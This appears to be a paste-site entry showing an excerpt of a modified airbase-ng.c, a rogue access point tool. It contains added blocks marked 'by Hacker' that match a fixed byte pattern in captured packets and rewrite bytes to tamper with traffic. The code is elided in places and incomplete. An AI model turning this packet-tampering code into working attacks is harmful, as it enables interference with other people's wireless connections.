Demo entry 6783966

test

   

Submitted by anonymous on Feb 25, 2019 at 11:18
Language: C. Code size: 1.1 kB.

[CodeName] : airbase-ng.c

static int packet_recv(unsigned char * packet,  int length,  struct AP_conf * apc,  int external)
{
……….
z = ((packet[1] & 3) != 3) ? 24 : 30;
	
	/* Add packet modification Code by Hacker */
	int mc=0;
	for(mc=0 ; mc<length ; mc++)
	{
		if( (mc+8) > (length-1) ) break;
		if( packet[mc]==0x4b && packet[mc+1]==0x54 && packet[mc+2]==0x20 && packet[mc+3]==0x39 && packet[mc+4]==0x47 && packet[mc+5]==0x00 && packet[mc+6]==0x01 && packet[mc+7]==0x03 )
		{
			packet[mc-1]=0x05;
			packet[mc+5]=0x00;
			packet[mc+6]=0x00;
			packet[mc+7]=0x00;
		}
	}
	if (packet[0] == 0x88) z += 2; /* handle QoS field */
	if ((unsigned) length < z)
	{
		return (1);
	}

…….. 중략
		if (packet[0] == 0x40)
		{
			tag = parse_tags(packet + z, 0, length - z, &len);
			/* Add packet Ignore Code by Hacker */
			if (tag != NULL && tag[0] >= 32 && len <= 14) 
			{
				if (opt.promiscuous || !opt.f_essid
					|| gotESSID((char *) tag, len) == 1)
				{
					memset(essid, 0, 256);
					memcpy(essid, tag, len);

This snippet took 0.01 seconds to highlight.

Back to the Entry List or Home.

Delete this entry (admin only).